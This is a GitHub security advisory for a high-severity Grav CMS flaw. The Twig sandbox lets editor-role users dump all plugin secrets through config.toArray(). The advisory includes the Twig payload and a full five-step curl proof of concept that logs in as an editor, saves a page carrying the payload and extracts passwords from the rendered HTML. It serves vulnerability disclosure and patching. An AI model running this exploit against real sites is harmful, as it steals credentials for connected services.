Skip to content

Grav: Twig sandbox allows editor-role users to exfiltrate all plugin secrets via Config::toArray()

High severity GitHub Reviewed Published May 9, 2026 in getgrav/grav • Updated May 13, 2026

Package

composer getgrav/grav (Composer)

Affected versions

<= 2.0.0-rc.1

Patched versions

2.0.0-rc.2

Description

Summary

The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.

Details

The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:

- class: 'Grav\Common\Config\Config'
  methods: 'get, toarray, value, default, offsetget, offsetexists'

The config object — which holds the full merged configuration tree including every key under plugins.* — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):

$twig_vars = [..., 'config' => $config, ...]

Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:

{{ config.toArray()|json_encode|raw }}

When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/*.yaml.

PoC

# Step 1 — Get login nonce
NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \
  | grep -oP '(?<=name="login-nonce" value=")[^"]+')

# Step 2 — Login as editor (no admin.super)
curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \
  -X POST http://TARGET/admin \
  --data-urlencode "data[username]=EDITOR_USER" \
  --data-urlencode "data[password]=EDITOR_PASS" \
  --data-urlencode "task=login" \
  --data-urlencode "login-nonce=${NONCE}" -o /dev/null

# Step 3 — Get admin nonce
ADMIN_NONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \
  | grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1)

# Step 4 — Save page with process.twig:true and payload
curl -s -b /tmp/cookies.txt \
  -X POST http://TARGET/admin/pages/poc \
  --data-urlencode "admin-nonce=${ADMIN_NONCE}" \
  --data-urlencode "task=save" \
  --data-urlencode "data[frontmatter]=title: poc
process:
    twig: true
published: true" \
  --data-urlencode "data[content]={{ config.toArray()|json_encode|raw }}" \
  --data-urlencode "data[folder]=poc" \
  --data-urlencode "data[route]=/" \
  --data-urlencode "data[name]=default" -o /dev/null

# Step 5 — Retrieve secrets from rendered page
curl -s http://TARGET/poc | grep -o '"password":"[^"]*"'

Impact

Any user with the editor role (admin.pages) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.

References

@rhukster rhukster published to getgrav/grav May 9, 2026
Published by the National Vulnerability Database May 11, 2026
Published to the GitHub Advisory Database May 13, 2026
Reviewed May 13, 2026
Last updated May 13, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(10th percentile)

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

CVE ID

CVE-2026-44738

GHSA ID

GHSA-j274-39qw-32c9

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.